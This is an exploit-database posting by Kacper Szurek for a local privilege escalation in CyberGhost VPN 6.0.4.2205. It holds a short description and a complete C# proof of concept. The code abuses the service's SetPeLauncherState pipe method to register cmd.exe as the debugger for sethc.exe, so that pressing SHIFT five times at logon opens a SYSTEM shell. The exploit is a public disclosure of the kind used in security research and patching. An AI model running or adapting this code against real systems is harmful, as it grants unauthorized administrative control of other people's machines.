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CyberGhost 6.0.4.2205 Privilege Escalation

CyberGhost 6.0.4.2205 Privilege Escalation
Posted Mar 6, 2017
Authored by Kacper Szurek

CyberGhost version 6.0.4.2205 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | dc4945587436a4b85d1bfe3f59fb626b

CyberGhost 6.0.4.2205 Privilege Escalation

Change Mirror Download
# Exploit CyberGhost 6.0.4.2205 Privilege Escalation
# Date: 06.03.2017
# Software Link: http://www.cyberghostvpn.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local

1. Description

`CG6Service` service has method `SetPeLauncherState` which allows launch the debugger automatically for every process we want.

https://security.szurek.pl/cyberghost-6042205-privilege-escalation.html

2. Proof of Concept

using System;
using CyberGhost.Communication;

namespace cyber
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("CyberGhost 6.0.4.2205 Privilege Escalation");
Console.WriteLine("by Kacper Szurek");
Console.WriteLine("http://security.szurek.pl/");
Console.WriteLine("https://twitter.com/KacperSzurek");
PeLauncherOptions options = new PeLauncherOptions();
options.ExecuteableName = "sethc.exe";
options.PeLauncherExecuteable = @"c:\Windows\System32\cmd.exe";
EventSender CyberGhostCom = CyberGhostCom = new EventSender("CyherGhostPipe");
CyberGhostCom.SetPeLauncherState(options, PeLauncherOperation.Add);
Console.WriteLine("Now logout and then press SHIFT key 5 times");
}
}
}

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